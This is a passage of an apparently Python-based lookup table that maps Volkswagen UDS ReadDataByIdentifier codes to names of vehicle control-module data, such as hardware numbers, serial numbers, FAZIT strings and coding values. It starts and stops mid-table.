UDS_RDBI.dataIdentifiers[0x36c3] = "Air_conditioning_compressor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36c4] = "Control_module_for_auxiliary_blower_motors_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36c5] = "High_beam_powermodule_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36c6] = "High_beam_powermodule_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36c7] = "Coolant_heater_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36d0] = "Electrically_adjustable_steering_column_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d1] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d2] = "Rear_spoiler_adjustment_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d3] = "Roof_blind_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d4] = "Motor_for_wind_deflector_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d5] = "Voltage_stabilizer_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d6] = "Switch_module_for_driver_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d7] = "Switch_module_for_front_passenger_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d8] = "Switch_module_for_rear_seat_driver_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d9] = "Switch_module_for_rear_seat_front_passenger_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36da] = "Switch_module_2_for_driver_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36db] = "Switch_module_2_for_front_passenger_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36dc] = "Switch_module_2_for_rear_seat_front_passenger_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36dd] = "Compact_disc_database_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36e9] = "LED_headlamp_powermodule_2_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36ea] = "LED_headlamp_powermodule_2_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36ec] = "Multimedia_operating_unit_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36ee] = "Data_medium_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36ef] = "Analog_clock_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36f0] = "Relative_Air_Humidity_Interior_Sender_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36f1] = "Sensor_controlled_power_rear_lid_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36f2] = "Battery_monitoring_control_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36f3] = "Air_conditioning_compressor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36f4] = "Control_module_for_auxiliary_blower_motors_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36f5] = "High_beam_powermodule_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36f6] = "High_beam_powermodule_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36f7] = "Coolant_heater_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x3700] = "Electrically_adjustable_steering_column_Serial_Number" UDS_RDBI.dataIdentifiers[0x3701] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Serial_Number" UDS_RDBI.dataIdentifiers[0x3702] = "Rear_spoiler_adjustment_Serial_Number" UDS_RDBI.dataIdentifiers[0x3703] = "Roof_blind_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x3704] = "Motor_for_wind_deflector_Serial_Number" UDS_RDBI.dataIdentifiers[0x3705] = "Voltage_stabilizer_Serial_Number" UDS_RDBI.dataIdentifiers[0x3706] = "Switch_module_for_driver_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x3707] = "Switch_module_for_front_passenger_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x3708] = "Switch_module_for_rear_seat_driver_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x3709] = "Switch_module_for_rear_seat_front_passenger_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x370a] = "Switch_module_2_for_driver_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x370b] = "Switch_module_2_for_front_passenger_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x370c] = "Switch_module_2_for_rear_seat_front_passenger_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x370d] = "Compact_disc_database_Serial_Number" UDS_RDBI.dataIdentifiers[0x3719] = "LED_headlamp_powermodule_2_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x371a] = "LED_headlamp_powermodule_2_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x371c] = "Multimedia_operating_unit_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x371e] = "Data_medium_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x371f] = "Analog_clock_Serial_Number" UDS_RDBI.dataIdentifiers[0x3720] = "Relative_Air_Humidity_Interior_Sender_Serial_Number" UDS_RDBI.dataIdentifiers[0x3721] = "Sensor_controlled_power_rear_lid_Serial_Number" UDS_RDBI.dataIdentifiers[0x3722] = "Battery_monitoring_control_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x3723] = "Air_conditioning_compressor_Serial_Number" UDS_RDBI.dataIdentifiers[0x3724] = "Control_module_for_auxiliary_blower_motors_Serial_Number" UDS_RDBI.dataIdentifiers[0x3725] = "High_beam_powermodule_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x3726] = "High_beam_powermodule_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x3727] = "Coolant_heater_Serial_Number" UDS_RDBI.dataIdentifiers[0x3730] = "Electrically_adjustable_steering_column_System_Name" UDS_RDBI.dataIdentifiers[0x3731] = "Relative_humidity_sensor_in_fresh_air_intake_duct_System_Name" UDS_RDBI.dataIdentifiers[0x3732] = "Rear_spoiler_adjustment_System_Name" UDS_RDBI.dataIdentifiers[0x3733] = "Roof_blind_2_System_Name" UDS_RDBI.dataIdentifiers[0x3734] = "Motor_for_wind_deflector_System_Name" UDS_RDBI.dataIdentifiers[0x3735] = "Voltage_stabilizer_System_Name" UDS_RDBI.dataIdentifiers[0x3736] = "Switch_module_for_driver_seat_System_Name" UDS_RDBI.dataIdentifiers[0x3737] = "Switch_module_for_front_passenger_seat_System_Name" UDS_RDBI.dataIdentifiers[0x3738] = "Switch_module_for_rear_seat_driver_side_System_Name" UDS_RDBI.dataIdentifiers[0x3739] = "Switch_module_for_rear_seat_front_passenger_side_System_Name" UDS_RDBI.dataIdentifiers[0x373a] = "Switch_module_2_for_driver_seat_System_Name" UDS_RDBI.dataIdentifiers[0x373b] = "Switch_module_2_for_front_passenger_seat_System_Name" UDS_RDBI.dataIdentifiers[0x373c] = "Switch_module_2_for_rear_seat_front_passenger_side_System_Name" UDS_RDBI.dataIdentifiers[0x373d] = "Compact_disc_database_System_Name" UDS_RDBI.dataIdentifiers[0x3749] = "LED_headlamp_powermodule_2_left_System_Name" UDS_RDBI.dataIdentifiers[0x374a] = "LED_headlamp_powermodule_2_right_System_Name" UDS_RDBI.dataIdentifiers[0x374c] = "Multimedia_operating_unit_2_System_Name" UDS_RDBI.dataIdentifiers[0x374e] = "Data_medium_2_System_Name" UDS_RDBI.dataIdentifiers[0x374f] = "Analog_clock_System_Name" UDS_RDBI.dataIdentifiers[0x3750] = "Relative_Air_Humidity_Interior_Sender_System_Name" UDS_RDBI.dataIdentifiers[0x3751] = "Sensor_controlled_power_rear_lid_System_Name" UDS_RDBI.dataIdentifiers[0x3752] = "Battery_monitoring_control_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x3753] = "Air_conditioning_compressor_System_Name" UDS_RDBI.dataIdentifiers[0x3754] = "Control_module_for_auxiliary_blower_motors_System_Name" UDS_RDBI.dataIdentifiers[0x3755] = "High_beam_powermodule_left_System_Name" UDS_RDBI.dataIdentifiers[0x3756] = "High_beam_powermodule_right_System_Name" UDS_RDBI.dataIdentifiers[0x3757] = "Coolant_heater_System_Name" UDS_RDBI.dataIdentifiers[0x37a0] = "Electrically_adjustable_steering_column_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a1] = "Relative_humidity_sensor_in_fresh_air_intake_duct_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a2] = "Rear_spoiler_adjustment_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a3] = "Roof_blind_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a4] = "Motor_for_wind_deflector_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a5] = "Voltage_stabilizer_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a6] = "Switch_module_for_driver_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a7] = "Switch_module_for_front_passenger_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a8] = "Switch_module_for_rear_seat_driver_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a9] = "Switch_module_for_rear_seat_front_passenger_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37aa] = "Switch_module_2_for_driver_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37ab] = "Switch_module_2_for_front_passenger_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37ac] = "Switch_module_2_for_rear_seat_front_passenger_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37ad] = "Compact_disc_database_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37b9] = "LED_headlamp_powermodule_2_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37ba] = "LED_headlamp_powermodule_2_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37bc] = "Multimedia_operating_unit_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37be] = "Data_medium_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37bf] = "Analog_clock_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37c0] = "Relative_Air_Humidity_Interior_Sender_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37c1] = "Sensor_controlled_power_rear_lid_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37c2] = "Battery_monitoring_control_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37c3] = "Air_conditioning_compressor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37c4] = "Control_module_for_auxiliary_blower_motors_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37c5] = "High_beam_powermodule_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37c6] = "High_beam_powermodule_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37c7] = "Coolant_heater_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x5867] = "In_use_monitor_performance_ratio_1" UDS_RDBI.dataIdentifiers[0x5868] = "In_use_monitor_performance_ratio_2" UDS_RDBI.dataIdentifiers[0x5869] = "In_use_monitor_performance_ratio_3" UDS_RDBI.dataIdentifiers[0x6001] = "Control_unit_for_wiper_motor_Coding_Values" UDS_RDBI.dataIdentifiers[0x6002] = "Rain_light_recognition_sensor_Coding_Values" UDS_RDBI.dataIdentifiers[0x6003] = "Light_switch_Coding_Values" UDS_RDBI.dataIdentifiers[0x6004] = "Garage_door_opener_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6005] = "Garage_door_opener_operating_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6006] = "Ignition_key_Coding_Values" UDS_RDBI.dataIdentifiers[0x6007] = "Left_front_seat_ventilation_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6008] = "Right_front_seat_ventilation_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6009] = "Left_rear_seat_ventilation_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x600a] = "LED_headlamp_powermodule_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x600b] = "LED_headlamp_powermodule_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x600c] = "LED_headlamp_powermodule_2_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x600d] = "LED_headlamp_powermodule_2_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x600e] = "Operating_and_display_unit_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x600f] = "Operating_and_display_unit_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6010] = "Right_rear_seat_ventilation_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6011] = "Data_medium_Coding_Values" UDS_RDBI.dataIdentifiers[0x6012] = "Drivers_door_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6013] = "Front_passengers_door_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6014] = "Left_headlamp_power_output_stage_Coding_Values" UDS_RDBI.dataIdentifiers[0x6015] = "Right_headlamp_power_output_stage_Coding_Values" UDS_RDBI.dataIdentifiers[0x6016] = "Sensor_for_anti_theft_alarm_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x6017] = "Rear_lid_control_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6018] = "Alarm_horn_Coding_Values" UDS_RDBI.dataIdentifiers[0x6019] = "Automatic_day_night_interior_mirror_Coding_Values" UDS_RDBI.dataIdentifiers[0x601a] = "Remote_control_auxiliary_heater_Coding_Values" UDS_RDBI.dataIdentifiers[0x601b] = "Fresh_air_blower_front_Coding_Values" UDS_RDBI.dataIdentifiers[0x601c] = "Fresh_air_blower_back_Coding_Values" UDS_RDBI.dataIdentifiers[0x601d] = "Alternator_Coding_Values" UDS_RDBI.dataIdentifiers[0x601e] = "Interior_light_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x601f] = "Refrigerant_pressure_and_temperature_sender_Coding_Values" UDS_RDBI.dataIdentifiers[0x6020] = "Sun_roof_Coding_Values" UDS_RDBI.dataIdentifiers[0x6021] = "Steering_column_lock_actuator_Coding_Values" UDS_RDBI.dataIdentifiers[0x6022] = "Anti_theft_tilt_system_control_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6023] = "Tire_pressure_monitor_antenna_Coding_Values" UDS_RDBI.dataIdentifiers[0x6024] = "Heated_windshield_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6025] = "Rear_light_left_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6026] = "Ceiling_light_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6027] = "Left_front_massage_seat_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6028] = "Right_front_massage_seat_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6029] = "Control_module_for_auxiliary_air_heater_Coding_Values" UDS_RDBI.dataIdentifiers[0x602a] = "Belt Pretensioner left_Coding_Values" UDS_RDBI.dataIdentifiers[0x602b] = "Belt Pretensioner right_Coding_Values" UDS_RDBI.dataIdentifiers[0x602c] = "Occupant Detection_Coding_Values" UDS_RDBI.dataIdentifiers[0x602d] = "Selector_lever_Coding_Values" UDS_RDBI.dataIdentifiers[0x602e] = "NOx_sensor_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x602f] = "NOx_sensor_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6030] = "Ioniser_Coding_Values" UDS_RDBI.dataIdentifiers[0x6031] = "Multi_function_steering_wheel_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6032] = "Left_rear_door_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6033] = "Right_rear_door_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6034] = "Left_rear_massage_seat_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6035] = "Right_rear_massage_seat_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6036] = "Display_unit_1_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x6037] = "Battery_monitoring_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6038] = "Roof_blind_Coding_Values" UDS_RDBI.dataIdentifiers[0x6039] = "Sun_roof_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x603a] = "Steering_angle_sender_Coding_Values" UDS_RDBI.dataIdentifiers[0x603b] = "Lane_change_assistant 2_Coding_Values" UDS_RDBI.dataIdentifiers[0x603c] = "Pitch_rate_sender_Coding_Values" UDS_RDBI.dataIdentifiers[0x603d] = "ESP_sensor_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x603e] = "Electronic_ignition_lock_Coding_Values" UDS_RDBI.dataIdentifiers[0x603f] = "Air_quality_sensor_Coding_Values" UDS_RDBI.dataIdentifiers[0x6040] = "Display_unit_2_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x6041] = "Telephone_handset_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6042] = "Chip_card_reader_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6043] = "Traffic_data_aerial_Coding_Values" UDS_RDBI.dataIdentifiers[0x6044] = "Hands_free_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x6045] = "Telephone_handset_Coding_Values" UDS_RDBI.dataIdentifiers[0x6046] = "Display_unit_front_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x6047] = "Multimedia_operating_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6048] = "Digital_sound_system_control_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6049] = "Electrically_adjustable_steering_column_Coding_Values" UDS_RDBI.dataIdentifiers[0x604a] = "Interface_for_external_multimedia_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x604b] = "Relative_Air_Humidity_Interior_Sender_Coding_Values" UDS_RDBI.dataIdentifiers[0x604c] = "Drivers_door_rear_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x604d] = "Passengers_rear_door_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x604e] = "Sensor_controlled_power_rear_lid_Coding_Values" UDS_RDBI.dataIdentifiers[0x604f] = "Camera_for_night_vision_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x6050] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Coding_Values" UDS_RDBI.dataIdentifiers[0x6051] = "Rear_spoiler_adjustment_Coding_Values" UDS_RDBI.dataIdentifiers[0x6052] = "Roof_blind_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6053] = "Motor_for_wind_deflector_Coding_Values" UDS_RDBI.dataIdentifiers[0x6054] = "Voltage_stabilizer_Coding_Values" UDS_RDBI.dataIdentifiers[0x6055] = "Switch_module_for_driver_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x6056] = "Switch_module_for_front_passenger_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x6057] = "Switch_module_for_rear_seat_driver_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x6058] = "Switch_module_for_rear_seat_front_passenger_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x6059] = "Switch_module_2_for_driver_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x605a] = "Battery_charger_unit_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x605b] = "Battery_charger_unit_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x605c] = "Battery_charger_unit_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x605d] = "Air_conditioning_compressor_Coding_Values" UDS_RDBI.dataIdentifiers[0x605e] = "Neck_heating_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x605f] = "Neck_heating_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x6060] = "Switch_module_2_for_front_passenger_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x6061] = "Switch_module_2_for_rear_seat_front_passenger_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x6062] = "Compact_disc_database_Coding_Values" UDS_RDBI.dataIdentifiers[0x6063] = "Rear_climatronic_operating_and_display_unit_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x6064] = "Rear_climatronic_operating_and_display_unit_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x6065] = "Door_handle_front_left_Kessy_Coding_Values" UDS_RDBI.dataIdentifiers[0x6066] = "Door_handle_front_right_Kessy_Coding_Values" UDS_RDBI.dataIdentifiers[0x6067] = "Door_handle_rear_left_Kessy_Coding_Values" UDS_RDBI.dataIdentifiers[0x6068] = "Door_handle_rear_right_Kessy_Coding_Values" UDS_RDBI.dataIdentifiers[0x6069] = "Power_converter_DC_AC_Coding_Values" UDS_RDBI.dataIdentifiers[0x606a] = "Battery_monitoring_control_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x606b] = "Matrix_headlamp_powermodule_1_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x606c] = "Matrix_headlamp_powermodule_1_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x606d] = "High_beam_powermodule_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x606e] = "High_beam_powermodule_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x606f] = "Air_suspension_compressor_Coding_Values" UDS_RDBI.dataIdentifiers[0x6070] = "Rear_brake_actuator_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6071] = "Rear_brake_actuator_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6072] = "Analog_clock_Coding_Values" UDS_RDBI.dataIdentifiers[0x6073] = "Rear_door_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6079] = "Data_medium_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x607a] = "Operating_unit_center_console_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x607b] = "Operating_unit_center_console_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x607c] = "Operating_unit_center_console_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x607d] = "Operating_unit_center_console_4_Coding_Values" UDS_RDBI.dataIdentifiers[0x607e] = "Interface_for_radiodisplay_Coding_Values" UDS_RDBI.dataIdentifiers[0x607f] = "Parkassist_entry_Coding_Values" UDS_RDBI.dataIdentifiers[0x6086] = "Belt_pretensioner_3rd_row_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x6087] = "Belt_pretensioner_3rd_row_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x6088] = "Injection_valve_heater_control_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6089] = "Steering_column_switch_Coding_Values" UDS_RDBI.dataIdentifiers[0x608a] = "Brake_assistance_Coding_Values" UDS_RDBI.dataIdentifiers[0x608b] = "Trailer_articulation_angle_sensor_Coding_Values" UDS_RDBI.dataIdentifiers[0x608c] = "Cup_holder_with_heater_and_cooling_element_Coding_Values" UDS_RDBI.dataIdentifiers[0x608d] = "Range_of_vision_sensing_Coding_Values" UDS_RDBI.dataIdentifiers[0x608e] = "Convenience_and_driver_assist_operating_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x608f] = "Cradle_rear_climatronic_operating_and_display_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6090] = "Trailer_weight_nose_weight_detection_Coding_Values" UDS_RDBI.dataIdentifiers[0x6091] = "Sensor_carbon_dioxide_concentration_Coding_Values" UDS_RDBI.dataIdentifiers[0x6092] = "Sensor_fine_dust_concentration_Coding_Values" UDS_RDBI.dataIdentifiers[0x6093] = "Volume_control_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6094] = "Belt_buckle_presenter_2nd_row_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x6095] = "Belt_buckle_presenter_2nd_row_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x6096] = "Operating_and_display_unit_6_for_air_conditioning_Coding_Values" UDS_RDBI.dataIdentifiers[0x6097] = "Active_accelerator_pedal_Coding_Values" UDS_RDBI.dataIdentifiers[0x6098] = "Multimedia_operating_unit_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6099] = "Display_unit_3_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x609a] = "Display_unit_4_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x609b] = "Display_unit_5_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x609c] = "Control_module_for_auxiliary_blower_motors_Coding_Values" UDS_RDBI.dataIdentifiers[0x609d] = "Operating_and_display_unit_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x609e] = "Operating_and_display_unit_4_Coding_Values" UDS_RDBI.dataIdentifiers[0x609f] = "Operating_and_display_unit_5_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a0] = "Side Sensor Driver Front_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a1] = "Side Sensor Passenger Front_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a2] = "Side Sensor Driver Rear_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a3] = "Side Sensor Passenger Rear_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a4] = "Front Sensor Driver_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a5] = "Front Sensor Passenger_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a6] = "Pedestrian Protection Driver_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a7] = "Pedestrian Protection Passenger_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a8] = "Rear Sensor Center_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a9] = "Pedestrian Protection Center_Coding_Values" UDS_RDBI.dataIdentifiers[0x60aa] = "Pedestrian Protection Contact_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ab] = "Pedestrian_protection_driver_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ac] = "Pedestrian_protection_passenger_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ad] = "Central_sensor_XY_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ae] = "Refrigerant_pressure_and_temperature_sender_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x60af] = "Refrigerant_pressure_and_temperature_sender_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b0] = "Switch_for_rear_multicontour_seat_driver_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b1] = "Valve_block_1_in_driver_side_rear_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b2] = "Valve_block_2_in_driver_side_rear_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b3] = "Valve_block_3_in_driver_side_rear_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b4] = "Switch_for_rear_multicontour_seat_passenger_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b5] = "Valve_block_1_in_passenger_side_rear_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b6] = "Valve_block_2_in_passenger_side_rear_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b7] = "Valve_block_3_in_passenger_side_rear_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b8] = "Switch_for_front_multicontour_seat_driver_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b9] = "Valve_block_1_in_driver_side_front_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ba] = "Valve_block_2_in_driver_side_front_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60bb] = "Valve_block_3_in_driver_side_front_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60bc] = "Switch_for_front_multicontour_seat_passenger_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x60bd] = "Valve_block_1_in_passenger_side_front_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60be] = "Valve_block_2_in_passenger_side_front_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60bf] = "Valve_block_3_in_passenger_side_front_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c0] = "Coolant_heater_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c1] = "Seat_backrest_fan_1_front_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c2] = "Seat_backrest_fan_2_front_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c3] = "Seat_cushion_fan_1_front_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c4] = "Seat_cushion_fan_2_front_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c5] = "Seat_backrest_fan_1_front_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c6] = "Seat_backrest_fan_2_front_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c7] = "Seat_cushion_fan_1_front_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c8] = "Seat_cushion_fan_2_front_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c9] = "Operating_and_display_unit_1_for_air_conditioning_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ca] = "Operating_and_display_unit_2_for_air_conditioning_Coding_Values" UDS_RDBI.dataIdentifiers[0x60cb] = "Operating_and_display_unit_3_for_air_conditioning_Coding_Values" UDS_RDBI.dataIdentifiers[0x60cc] = "Operating_and_display_unit_4_for_air_conditioning_Coding_Values" UDS_RDBI.dataIdentifiers[0x60cd] = "Operating_and_display_unit_5_for_air_conditioning_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ce] = "Pedestrian_protection_left_hand_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x60cf] = "Pedestrian_protection_right_hand_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d0] = 